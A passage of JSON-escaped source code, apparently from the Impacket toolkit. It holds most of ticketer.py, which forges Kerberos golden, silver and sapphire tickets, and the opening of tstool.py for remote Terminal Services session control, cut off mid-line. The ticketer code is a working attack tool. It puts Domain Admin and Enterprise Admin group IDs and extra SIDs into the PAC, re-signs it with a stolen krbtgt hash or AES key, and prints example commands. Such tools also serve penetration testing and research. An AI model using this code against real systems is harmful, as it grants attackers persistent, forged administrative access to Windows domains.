unixTime >> 32\n\n                # Let's adjust username and other data\n                validationInfo['Data']['LogonDomainName'] = self.__domain.upper()\n                validationInfo['Data']['EffectiveName'] = self.__target\n                # Our Golden Well-known groups! :)\n                groups = self.__options.groups.split(',')\n                validationInfo['Data']['GroupIds'] = list()\n                validationInfo['Data']['GroupCount'] = len(groups)\n\n                for group in groups:\n                    groupMembership = GROUP_MEMBERSHIP()\n                    groupId = NDRULONG()\n                    groupId['Data'] = int(group)\n                    groupMembership['RelativeId'] = groupId\n                    groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED\n                    validationInfo['Data']['GroupIds'].append(groupMembership)\n\n                # Let's add the extraSid\n                if self.__options.extra_sid is not None:\n                    extrasids = self.__options.extra_sid.split(',')\n                    if validationInfo['Data']['SidCount'] == 0:\n                        # Let's be sure user's flag specify we have extra sids.\n                        validationInfo['Data']['UserFlags'] |= 0x20\n                        validationInfo['Data']['ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY()\n                    for extrasid in extrasids:\n                        validationInfo['Data']['SidCount'] += 1\n\n                        sidRecord = KERB_SID_AND_ATTRIBUTES()\n\n                        sid = RPC_SID()\n                        sid.fromCanonical(extrasid)\n\n                        sidRecord['Sid'] = sid\n                        sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED\n\n                        # And, let's append the magicSid\n                        validationInfo['Data']['ExtraSids'].append(sidRecord)\n                else:\n                    validationInfo['Data']['ExtraSids'] = NULL\n\n                validationInfoBlob  = validationInfo.getData() + validationInfo.getDataReferents()\n                pacInfos[PAC_LOGON_INFO] = validationInfoBlob\n\n                if logging.getLogger().level == logging.DEBUG:\n                    logging.debug('VALIDATION_INFO after making it gold')\n                    validationInfo.dump()\n                    print('\\n')\n            else:\n                raise Exception('PAC_LOGON_INFO not found! Aborting')\n\n            logging.info('\\tPAC_LOGON_INFO')\n\n            # Let's now clear the checksums\n            if PAC_SERVER_CHECKSUM in pacInfos:\n                serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])\n                if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:\n                    serverChecksum['Signature'] = '\\x00' * 12\n                elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:\n                    serverChecksum['Signature'] = '\\x00' * 12\n                else:\n                    serverChecksum['Signature'] = '\\x00' * 16\n                pacInfos[PAC_SERVER_CHECKSUM] = serverChecksum.getData()\n            else:\n                raise Exception('PAC_SERVER_CHECKSUM not found! Aborting')\n\n            if PAC_PRIVSVR_CHECKSUM in pacInfos:\n                privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM])\n                privSvrChecksum['Signature'] = '\\x00' * 12\n                if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:\n                    privSvrChecksum['Signature'] = '\\x00' * 12\n                elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:\n                    privSvrChecksum['Signature'] = '\\x00' * 12\n                else:\n                    privSvrChecksum['Signature'] = '\\x00' * 16\n                pacInfos[PAC_PRIVSVR_CHECKSUM] = privSvrChecksum.getData()\n            else:\n                raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting')\n\n            if PAC_CLIENT_INFO_TYPE in pacInfos:\n                pacClientInfo = PAC_CLIENT_INFO(pacInfos[PAC_CLIENT_INFO_TYPE])\n                pacClientInfo['ClientId'] = unixTime\n                pacInfos[PAC_CLIENT_INFO_TYPE] = pacClientInfo.getData()\n            else:\n                raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting')\n\n            logging.info('\\tPAC_CLIENT_INFO_TYPE')\n            logging.info('\\tEncTicketPart')\n\n        if self.__domain == self.__server:\n            encRepPart = EncASRepPart()\n        else:\n            encRepPart = EncTGSRepPart()\n\n        encRepPart['key'] = noValue\n        encRepPart['key']['keytype'] = encTicketPart['key']['keytype']\n        encRepPart['key']['keyvalue'] = encTicketPart['key']['keyvalue']\n        encRepPart['last-req'] = noValue\n        encRepPart['last-req'][0] = noValue\n        encRepPart['last-req'][0]['lr-type'] = 0\n        encRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1(datetime.datetime.now(datetime.timezone.utc))\n        encRepPart['nonce'] = 123456789\n        encRepPart['key-expiration'] = KerberosTime.to_asn1(ticketDuration)\n        flags = []\n        for i in encTicketPart['flags']:\n            flags.append(i)\n        encRepPart['flags'] = flags\n        encRepPart['authtime'] = str(encTicketPart['authtime'])\n        encRepPart['endtime'] = str(encTicketPart['endtime'])\n        encRepPart['starttime'] = str(encTicketPart['starttime'])\n        encRepPart['renew-till'] = str(encTicketPart['renew-till'])\n        encRepPart['srealm'] = self.__domain.upper()\n        encRepPart['sname'] = noValue\n        encRepPart['sname']['name-string'] = noValue\n        encRepPart['sname']['name-string'][0] = self.__service\n\n        if self.__domain == self.__server:\n            encRepPart['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value\n            encRepPart['sname']['name-string'][1] = self.__domain.upper()\n            logging.info('\\tEncAsRepPart')\n        else:\n            encRepPart['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value\n            encRepPart['sname']['name-string'][1] = self.__server\n            logging.info('\\tEncTGSRepPart')\n        return encRepPart, encTicketPart, pacInfos\n\n    def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart, pacInfos):\n        logging.info('Signing/Encrypting final ticket')\n\n        # Basic PAC count\n        pac_count = 4\n\n        # We changed everything we needed to make us special. Now let's repack and calculate checksums\n        validationInfoBlob = pacInfos[PAC_LOGON_INFO]\n        validationInfoAlignment = b'\\x00' * self.getPadLength(len(validationInfoBlob))\n\n        pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE]\n        pacClientInfoAlignment = b'\\x00' * self.getPadLength(len(pacClientInfoBlob))\n\n        pacUpnDnsInfoBlob = None\n        pacUpnDnsInfoAlignment = None\n        if PAC_UPN_DNS_INFO in pacInfos:\n            pac_count += 1\n            pacUpnDnsInfoBlob = pacInfos[PAC_UPN_DNS_INFO]\n            pacUpnDnsInfoAlignment = b'\\x00' * self.getPadLength(len(pacUpnDnsInfoBlob))\n\n        pacAttributesInfoBlob = None\n        pacAttributesInfoAlignment = None\n        if PAC_ATTRIBUTES_INFO in pacInfos:\n            pac_count += 1\n            pacAttributesInfoBlob = pacInfos[PAC_ATTRIBUTES_INFO]\n            pacAttributesInfoAlignment = b'\\x00' * self.getPadLength(len(pacAttributesInfoBlob))\n\n        pacRequestorInfoBlob = None\n        pacRequestorInfoAlignment = None\n        if PAC_REQUESTOR_INFO in pacInfos:\n            pac_count += 1\n            pacRequestorInfoBlob = pacInfos[PAC_REQUESTOR_INFO]\n            pacRequestorInfoAlignment = b'\\x00' * self.getPadLength(len(pacRequestorInfoBlob))\n\n        serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])\n        serverChecksumBlob = pacInfos[PAC_SERVER_CHECKSUM]\n        serverChecksumAlignment = b'\\x00' * self.getPadLength(len(serverChecksumBlob))\n\n        privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM])\n        privSvrChecksumBlob = pacInfos[PAC_PRIVSVR_CHECKSUM]\n        privSvrChecksumAlignment = b'\\x00' * self.getPadLength(len(privSvrChecksumBlob))\n\n        # The offset are set from the beginning of the PAC_TYPE\n        # [MS-PAC] 2.4 PAC_INFO_BUFFER\n        offsetData = 8 + len(PAC_INFO_BUFFER().getData()) * pac_count\n\n        # Let's build the PAC_INFO_BUFFER for each one of the elements\n        validationInfoIB = PAC_INFO_BUFFER()\n        validationInfoIB['ulType'] = PAC_LOGON_INFO\n        validationInfoIB['cbBufferSize'] = len(validationInfoBlob)\n        validationInfoIB['Offset'] = offsetData\n        offsetData = self.getBlockLength(offsetData + validationInfoIB['cbBufferSize'])\n\n        pacClientInfoIB = PAC_INFO_BUFFER()\n        pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE\n        pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)\n        pacClientInfoIB['Offset'] = offsetData\n        offsetData = self.getBlockLength(offsetData + pacClientInfoIB['cbBufferSize'])\n\n        pacUpnDnsInfoIB = None\n        if pacUpnDnsInfoBlob is not None:\n            pacUpnDnsInfoIB = PAC_INFO_BUFFER()\n            pacUpnDnsInfoIB['ulType'] = PAC_UPN_DNS_INFO\n            pacUpnDnsInfoIB['cbBufferSize'] = len(pacUpnDnsInfoBlob)\n            pacUpnDnsInfoIB['Offset'] = offsetData\n            offsetData = self.getBlockLength(offsetData + pacUpnDnsInfoIB['cbBufferSize'])\n\n        pacAttributesInfoIB = None\n        if pacAttributesInfoBlob is not None:\n            pacAttributesInfoIB = PAC_INFO_BUFFER()\n            pacAttributesInfoIB['ulType'] = PAC_ATTRIBUTES_INFO\n            pacAttributesInfoIB['cbBufferSize'] = len(pacAttributesInfoBlob)\n            pacAttributesInfoIB['Offset'] = offsetData\n            offsetData = self.getBlockLength(offsetData + pacAttributesInfoIB['cbBufferSize'])\n\n        pacRequestorInfoIB = None\n        if pacRequestorInfoBlob is not None:\n            pacRequestorInfoIB = PAC_INFO_BUFFER()\n            pacRequestorInfoIB['ulType'] = PAC_REQUESTOR_INFO\n            pacRequestorInfoIB['cbBufferSize'] = len(pacRequestorInfoBlob)\n            pacRequestorInfoIB['Offset'] = offsetData\n            offsetData = self.getBlockLength(offsetData + pacRequestorInfoIB['cbBufferSize'])\n\n        serverChecksumIB = PAC_INFO_BUFFER()\n        serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM\n        serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)\n        serverChecksumIB['Offset'] = offsetData\n        offsetData = self.getBlockLength(offsetData + serverChecksumIB['cbBufferSize'])\n\n        privSvrChecksumIB = PAC_INFO_BUFFER()\n        privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM\n        privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)\n        privSvrChecksumIB['Offset'] = offsetData\n        # offsetData = self.getBlockLength(offsetData+privSvrChecksumIB['cbBufferSize'])\n\n        # Building the PAC_TYPE as specified in [MS-PAC]\n        buffers = validationInfoIB.getData() + pacClientInfoIB.getData()\n        if pacUpnDnsInfoIB is not None:\n            buffers += pacUpnDnsInfoIB.getData()\n        if pacAttributesInfoIB is not None:\n            buffers += pacAttributesInfoIB.getData()\n        if pacRequestorInfoIB is not None:\n            buffers += pacRequestorInfoIB.getData()\n\n        buffers += serverChecksumIB.getData() + privSvrChecksumIB.getData() + validationInfoBlob + \\\n            validationInfoAlignment + pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment\n        if pacUpnDnsInfoIB is not None:\n            buffers += pacUpnDnsInfoBlob + pacUpnDnsInfoAlignment\n        if pacAttributesInfoIB is not None:\n            buffers += pacAttributesInfoBlob + pacAttributesInfoAlignment\n        if pacRequestorInfoIB is not None:\n            buffers += pacRequestorInfoBlob + pacRequestorInfoAlignment\n\n        buffersTail = serverChecksumBlob + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment\n\n        pacType = PACTYPE()\n        pacType['cBuffers'] = pac_count\n        pacType['Version'] = 0\n        pacType['Buffers'] = buffers + buffersTail\n\n        blobToChecksum = pacType.getData()\n\n        checkSumFunctionServer = _checksum_table[serverChecksum['SignatureType']]\n        if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:\n            keyServer = Key(Enctype.AES256, unhexlify(self.__options.aesKey))\n        elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:\n            keyServer = Key(Enctype.AES128, unhexlify(self.__options.aesKey))\n        elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value:\n            keyServer = Key(Enctype.RC4, unhexlify(self.__options.nthash))\n        else:\n            raise Exception('Invalid Server checksum type 0x%x' % serverChecksum['SignatureType'])\n\n        checkSumFunctionPriv = _checksum_table[privSvrChecksum['SignatureType']]\n        if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:\n            keyPriv = Key(Enctype.AES256, unhexlify(self.__options.aesKey))\n        elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:\n            keyPriv = Key(Enctype.AES128, unhexlify(self.__options.aesKey))\n        elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value:\n            keyPriv = Key(Enctype.RC4, unhexlify(self.__options.nthash))\n        else:\n            raise Exception('Invalid Priv checksum type 0x%x' % serverChecksum['SignatureType'])\n\n        serverChecksum['Signature'] = checkSumFunctionServer.checksum(keyServer, KERB_NON_KERB_CKSUM_SALT, blobToChecksum)\n        logging.info('\\tPAC_SERVER_CHECKSUM')\n        privSvrChecksum['Signature'] = checkSumFunctionPriv.checksum(keyPriv, KERB_NON_KERB_CKSUM_SALT, serverChecksum['Signature'])\n        logging.info('\\tPAC_PRIVSVR_CHECKSUM')\n\n        buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment\n        pacType['Buffers'] = buffers + buffersTail\n\n        authorizationData = AuthorizationData()\n        authorizationData[0] = noValue\n        authorizationData[0]['ad-type'] = AuthorizationDataType.AD_WIN2K_PAC.value\n        authorizationData[0]['ad-data'] = pacType.getData()\n        authorizationData = encoder.encode(authorizationData)\n\n        encTicketPart['authorization-data'][0]['ad-data'] = authorizationData\n\n        if logging.getLogger().level == logging.DEBUG:\n            logging.debug('Customized EncTicketPart')\n            print(encTicketPart.prettyPrint())\n            print('\\n')\n\n        encodedEncTicketPart = encoder.encode(encTicketPart)\n\n        cipher = _enctype_table[kdcRep['ticket']['enc-part']['etype']]\n        if cipher.enctype == EncryptionTypes.aes256_cts_hmac_sha1_96.value:\n            key = Key(cipher.enctype, unhexlify(self.__options.aesKey))\n        elif cipher.enctype == EncryptionTypes.aes128_cts_hmac_sha1_96.value:\n            key = Key(cipher.enctype, unhexlify(self.__options.aesKey))\n        elif cipher.enctype == EncryptionTypes.rc4_hmac.value:\n            key = Key(cipher.enctype, unhexlify(self.__options.nthash))\n        else:\n            raise Exception('Unsupported enctype 0x%x' % cipher.enctype)\n\n        # Key Usage 2\n        # AS-REP Ticket and TGS-REP Ticket (includes TGS session\n        # key or application session key), encrypted with the\n        # service key (Section 5.3)\n        logging.info('\\tEncTicketPart')\n        cipherText = cipher.encrypt(key, 2, encodedEncTicketPart, None)\n\n        kdcRep['ticket']['enc-part']['cipher'] = cipherText\n        kdcRep['ticket']['enc-part']['kvno'] = 2\n\n        # Lastly.. we have to encrypt the kdcRep['enc-part'] part\n        # with a key we chose. It actually doesn't really matter since nobody uses it (could it be trash?)\n        encodedEncASRepPart = encoder.encode(encASorTGSRepPart)\n\n        if self.__domain == self.__server:\n            # Key Usage 3\n            # AS-REP encrypted part (includes TGS session key or\n            # application session key), encrypted with the client key\n            # (Section 5.4.2)\n            sessionKey = Key(cipher.enctype, encASorTGSRepPart['key']['keyvalue'].asOctets())\n            logging.info('\\tEncASRepPart')\n            cipherText = cipher.encrypt(sessionKey, 3, encodedEncASRepPart, None)\n        else:\n            # Key Usage 8\n            # TGS-REP encrypted part (includes application session\n            # key), encrypted with the TGS session key\n            # (Section 5.4.2)\n            sessionKey = Key(cipher.enctype, encASorTGSRepPart['key']['keyvalue'].asOctets())\n            logging.info('\\tEncTGSRepPart')\n            cipherText = cipher.encrypt(sessionKey, 8, encodedEncASRepPart, None)\n\n        kdcRep['enc-part']['cipher'] = cipherText\n        kdcRep['enc-part']['etype'] = cipher.enctype\n        kdcRep['enc-part']['kvno'] = 1\n\n        if logging.getLogger().level == logging.DEBUG:\n            logging.debug('Final Golden Ticket')\n            print(kdcRep.prettyPrint())\n            print('\\n')\n\n        return encoder.encode(kdcRep), cipher, sessionKey\n\n    def saveTicket(self, ticket, sessionKey):\n        logging.info('Saving ticket in %s' % (self.__target.replace('/', '.') + '.ccache'))\n        from impacket.krb5.ccache import CCache\n        ccache = CCache()\n\n        if self.__server == self.__domain:\n            ccache.fromTGT(ticket, sessionKey, sessionKey)\n        else:\n            ccache.fromTGS(ticket, sessionKey, sessionKey)\n        ccache.saveFile(self.__target.replace('/','.') + '.ccache')\n\n    def run(self):\n        ticket, adIfRelevant = self.createBasicTicket()\n        if ticket is not None:\n            encASorTGSRepPart, encTicketPart, pacInfos = self.customizeTicket(ticket, adIfRelevant)\n            ticket, cipher, sessionKey = self.signEncryptTicket(ticket, encASorTGSRepPart, encTicketPart, pacInfos)\n            self.saveTicket(ticket, sessionKey)\n\nif __name__ == '__main__':\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help=True, description=\"Creates a Kerberos golden/silver tickets based on \"\n                                                                \"user options\")\n    parser.add_argument('target', action='store', help='username for the newly created ticket')\n    parser.add_argument('-spn', action=\"store\", help='SPN (service/server) of the target service the silver ticket will'\n                                                     ' be generated for. if omitted, golden ticket will be created')\n    parser.add_argument('-request', action='store_true', default=False, help='Requests ticket to domain and clones it '\n                        'changing only the supplied information. It requires specifying -user')\n    parser.add_argument('-domain', action='store', required=True, help='the fully qualified domain name (e.g. contoso.com)')\n    parser.add_argument('-domain-sid', action='store', required=True, help='Domain SID of the target domain the ticker will be '\n                                                            'generated for')\n    parser.add_argument('-aesKey', action=\"store\", metavar = \"hex key\", help='AES key used for signing the ticket '\n                                                                             '(128 or 256 bits)')\n    parser.add_argument('-nthash', action=\"store\", help='NT hash used for signing the ticket')\n    parser.add_argument('-keytab', action=\"store\", help='Read keys for SPN from keytab file (silver ticket only)')\n    parser.add_argument('-groups', action=\"store\", default = '513, 512, 520, 518, 519', help='comma separated list of '\n                        'groups user will belong to (default = 513, 512, 520, 518, 519)')\n    parser.add_argument('-user-id', action=\"store\", default = '500', help='user id for the user the ticket will be '\n                                                                          'created for (default = 500)')\n    parser.add_argument('-extra-sid', action=\"store\", help='Comma separated list of ExtraSids to be included inside the ticket\\'s PAC')\n    parser.add_argument('-extra-pac', action='store_true', help='Populate your ticket with extra PAC (UPN_DNS)')\n    parser.add_argument('-old-pac', action='store_true', help='Use the old PAC structure to create your ticket (exclude '\n                                                              'PAC_ATTRIBUTES_INFO and PAC_REQUESTOR')\n    parser.add_argument('-duration', action=\"store\", default = '87600', help='Amount of hours till the ticket expires '\n                                                                             '(default = 24*365*10)')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n\n    group = parser.add_argument_group('authentication')\n\n    group.add_argument('-user', action=\"store\", help='domain/username to be used if -request is chosen (it can be '\n                                                     'different from domain/username')\n    group.add_argument('-password', action=\"store\", help='password for domain/username')\n    group.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-dc-ip', action='store',metavar = \"ip address\",  help='IP Address of the domain controller. If '\n                       'ommited it use the domain part (FQDN) specified in the target parameter')\n    parser.add_argument('-impersonate', action=\"store\", help='Sapphire ticket. target username that will be impersonated (through S4U2Self+U2U)'\n                                                             ' for querying the ST and extracting the PAC, which will be'\n                                                             ' included in the new ticket')\n\n    if len(sys.argv)==1:\n        parser.print_help()\n        print(\"\\nExamples: \")\n        print(\"\\t./ticketer.py -nthash <krbtgt/service nthash> -domain-sid <your domain SID> -domain <your domain FQDN> baduser\\n\")\n        print(\"\\twill create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4.\")\n        print(\"\\tIf you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256\")\n        print(\"\\t(depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as\")\n        print(\"\\tbaduser.ccache.\\n\")\n        print(\"\\t./ticketer.py -nthash <krbtgt/service nthash> -aesKey <krbtgt/service AES> -domain-sid <your domain SID> -domain \" \n              \"<your domain FQDN> -request -user <a valid domain user> -password <valid domain user's password> baduser\\n\")\n        print(\"\\twill first authenticate against the KDC (using -user/-password) and get a TGT that will be used\")\n        print(\"\\tas template for customization. Whatever encryption algorithms used on that ticket will be honored,\")\n        print(\"\\thence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser'\")\n        print(\"\\tand saved as baduser.ccache\")\n        sys.exit(1)\n\n    options = parser.parse_args()\n\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    if options.domain is None:\n        logging.critical('Domain should be specified!')\n        sys.exit(1)\n\n    if options.aesKey is None and options.nthash is None and options.keytab is None:\n        logging.error('You have to specify either aesKey, or nthash, or keytab')\n        sys.exit(1)\n\n    if options.aesKey is not None and options.nthash is not None and options.request is False:\n        logging.error('You cannot specify both -aesKey and -nthash w/o using -request. Pick only one')\n        sys.exit(1)\n\n    if options.request is True and options.user is None:\n        logging.error('-request parameter needs -user to be specified')\n        sys.exit(1)\n\n    if options.request is True and options.hashes is None and options.password is None:\n        from getpass import getpass\n        password = getpass(\"Password:\")\n    else:\n        password = options.password\n\n    if options.impersonate:\n        # args that can't be None: -aesKey, -domain-sid, -nthash, -request, -domain, -user, -password\n        # -user-id can't be None except if -old-pac is set\n        # args that can't be False: -request\n        missing_params = [\n            param_name\n            for (param, param_name) in\n            zip(\n                [\n                    options.request,\n                    options.aesKey, options.nthash,\n                    options.domain, options.user, options.password,\n                    options.domain_sid, options.user_id\n                ],\n                [\n                    \"-request\",\n                    \"-aesKey\", \"-nthash\",\n                    \"-domain\", \"-user\", \"-password\",\n                    \"-domain-sid\", \"-user-id\"\n                ]\n            )\n            if param is None or (param_name == \"-request\" and not param)\n        ]\n        if missing_params:\n            logging.error(f\"missing parameters to do sapphire ticket : {', '.join(missing_params)}\")\n            sys.exit(1)\n        if not options.old_pac and not options.user_id:\n            logging.error(f\"missing parameter -user-id. Must be set if not doing -old-pac\")\n            sys.exit(1)\n        # ignored params: -extra-pac, -extra-sid, -groups, -duration\n        # -user-id ignored if -old-pac\n        ignored_params = []\n        if options.extra_pac: ignored_params.append(\"-extra-pac\")\n        if options.extra_sid is not None: ignored_params.append(\"-extra-sid\")\n        if options.groups is not None: ignored_params.append(\"-groups\")\n        if options.duration is not None: ignored_params.append(\"-duration\")\n        if ignored_params:\n            logging.error(f\"doing sapphire ticket, ignoring following parameters : {', '.join(ignored_params)}\")\n        if options.old_pac and options.user_id is not None:\n            logging.error(f\"parameter -user-id will be ignored when specifying -old-pac in a sapphire ticket attack\")\n\n    try:\n        executer = TICKETER(options.target, password, options.domain, options)\n        executer.run()\n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n            traceback.print_exc()\n        print(str(e))\n"
  },
  {
    "path": "examples/tstool.py",
    "content": "#!/usr/bin/env python3\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Terminal Services manipulation tool.\n#   Initial idea was to provide similar functionality as the QWINSTA and other TS* windows commands:\n#   \n#   qwinsta:  Display information about Remote Desktop Services sessions.\n#   tasklist: Display a list of currently running processes on the system.\n#   taskkill: Terminate tasks by process id (PID) or image name\n#   tscon:    Attaches a user session to a remote desktop session\n#   tsdiscon: Disconnects a Remote Desktop Services session\n#   tslogoff: Signs-out a Remote Desktop Services session\n#   shutdown: Remote shutdown\n#   msg:      Send a message to Remote Desktop Services session (MSGBOX)\n#   shadow:   Shadow a Remote Desktop Services session\n#\n# Author:\n#   Alexander Korznikov (@nopernik)\n#\n# Reference for:\n#   [MS-TSTS]\n#\n\nimport argparse\nimport codecs\nimport logging\nimport sys\nfrom xml.etree.ElementTree import tostring\nimport xml.etree.ElementTree as ET\nfrom struct import unpack\n\nfrom impacket import version\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_target\nfrom impacket.smbconnection import SMBConnection\nfrom impacket import LOG\nfrom impacket.dcerpc.v5 import transport, lsat, lsad\nfrom impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException\nfrom impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED\n\nfrom impacket.dcerpc.v5 import tsts as TSTS\nfrom impacket.dcerpc.v5.tsts import (\n    SHADOW_CONTROL_REQUEST, \n    SHADOW_PERMISSION_REQUEST, \n    SHADOW_REQUEST_RESPONSE\n)\nimport traceback\n\n\nclass TSHandler:\n    def __init__(self, username, password, domain, options):\n        self.__username = username\n        self.__password = password\n        self.__domain = domain\n        self.__options = options\n        self.__action = options.action.lower()\n        self.__lmhash = ''\n        self.__nthash = ''\n        self.__aesKey = options.aesKey\n        self.__doKerberos = options.k\n        self.__kdcHost = options.dc_ip\n        self.__smbConnection = None\n\n        if options.hashes is not None:\n            self.__lmhash, self.__nthash = options.hashes.split(':')\n\n    def connect(self, remoteName, remoteHost):\n        self.remoteName = remoteName\n        self.__smbConnection = SMBConnection(remoteName, remoteHost, sess_port=int(self.__options.port))\n\n        if self.__doKerberos:\n            self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,\n                                               self.__nthash, self.__aesKey, self.__kdcHost)\n        else:\n            self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)\n\n    def run(self, remoteName, remoteHost):\n        if self.__options.action == 'shutdown':\n            if not max([options.logoff, options.shutdown, options.reboot, options.poweroff]):\n                LOG.error('At least one flag is required: -logoff, -shutdown, -reboot or -poweroff')\n                exit(1)\n\n        self.connect(remoteName, remoteHost)\n        getattr(self,'do_'+self.__action)()\n\n    def get_session_list(self):\n        # Retreive session list\n        with TSTS.TermSrvEnumeration(self.__smbConnection, self.__options.target_ip, self.__doKerberos) as lsm:\n            handle = lsm.hRpcOpenEnum()\n            rsessions = lsm.hRpcGetEnumResult(handle, Level=1)['ppSessionEnumResult']\n            lsm.hRpcCloseEnum(handle)\n            self.sessions = {}\n            for i in rsessions:\n                sess = i['SessionInfo']['SessionEnum_Level1']\n                state = TSTS.enum2value(TSTS.WINSTATIONSTATECLASS, sess['State']).split('_')[-1]\n                self.sessions[sess['SessionId']] = { 'state'        :state,\n                                                    'SessionName'   :sess['Name'],\n                                                    'RemoteIp'      :'',\n                                                    'ClientName'    :'',\n                                                    'Username'      :'',\n                                                    'Domain'        :'',\n                                                    'Resolution'    :'',\n                                                    'ClientTimeZone':''\n                                                }\n\n    def enumerate_sessions_config(self):\n        # Get session config one by one\n        if len(self.sessions):\n            with TSTS.RCMPublic(self.__smbConnection, self.__options.target_ip, self.__doKerberos) as termsrv:\n                for SessionId in self.sessions:\n                    resp = termsrv.hRpcGetClientData(SessionId)\n                    if resp is not None:\n                        self.sessions[SessionId]['RemoteIp']       = resp['ppBuff']['ClientAddress']\n                        self.sessions[SessionId]['ClientName']     = resp['ppBuff']['ClientName']\n                        if len(resp['ppBuff']['UserName']) and not len(self.sessions[SessionId]['Username']):\n                            self.sessions[SessionId]['Username']   = resp['ppBuff']['UserName']\n                        if len(resp['ppBuff']['Domain']) and not len(self.sessions[SessionId]['Domain']):\n                            self.sessions[SessionId]['Domain']     = resp['ppBuff']['Domain']\n                        self.sessions[SessionId]['Resolution']     = '{}x{}'.format(\n                                                                        resp['ppBuff']['HRes'],\n                                                                        resp['ppBuff']['VRes']\n                                                                    )\n                        self.sessions[SessionId]['ClientTimeZone'] = resp['ppBuff']['ClientTimeZone']['StandardName']\n\n    def enumerate_sessions_info(self):\n        # Get session info one by one\n        if len(self.sessions):\n            with TSTS.TermSrvSession(self.__smbConnection, self.__options.target_ip, self.__doKerberos) as TermSrvSession:\n                for SessionId in self.sessions.keys():\n                    sessdata = TermSrvSession.hRpcGetSessionInformationEx(SessionId)\n                    sessflags = TSTS.enum2value(TSTS.SESSIONFLAGS, sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['SessionFlags'])\n                    self.sessions[SessionId]['flags']    = sessflags\n                    domain = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['DomainName']\n                    if not len(self.sessions[SessionId]['Domain']) and len(domain):\n                        self.sessions[SessionId]['Domain'] = domain\n                    username = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['UserName']\n                    if not len(self.sessions[SessionId]['Username']) and len(username):\n                        self.sessions[SessionId]['Username'] = username\n                    self.sessions[SessionId]['ConnectTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['ConnectTime']\n                    self.sessions[SessionId]['DisconnectTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['DisconnectTime']\n                    self.sessions[SessionId]['LogonTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['LogonTime']\n                    self.sessions[SessionId]['LastInputTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['LastInputTime']\n\n    def do_qwinsta(self):\n        options = self.__options\n        desktop_states = {\n            'WTS_SESSIONSTATE_UNKNOWN': '',\n            'WTS_SESSIONSTATE_LOCK'   : 'Locked',\n            'WTS_SESSIONSTATE_UNLOCK' : 'Unlocked',\n        }\n        self.get_session_list()\n        if not len(self.sessions):\n            print('No sessions found...')\n            return\n        self.enumerate_sessions_info()\n        if options.verbose:\n            self.enumerate_sessions_config()\n        \n        maxSessionNameLen = max([len(self.sessions[i]['SessionName'])+1 for i in self.sessions])\n        maxSessionNameLen = 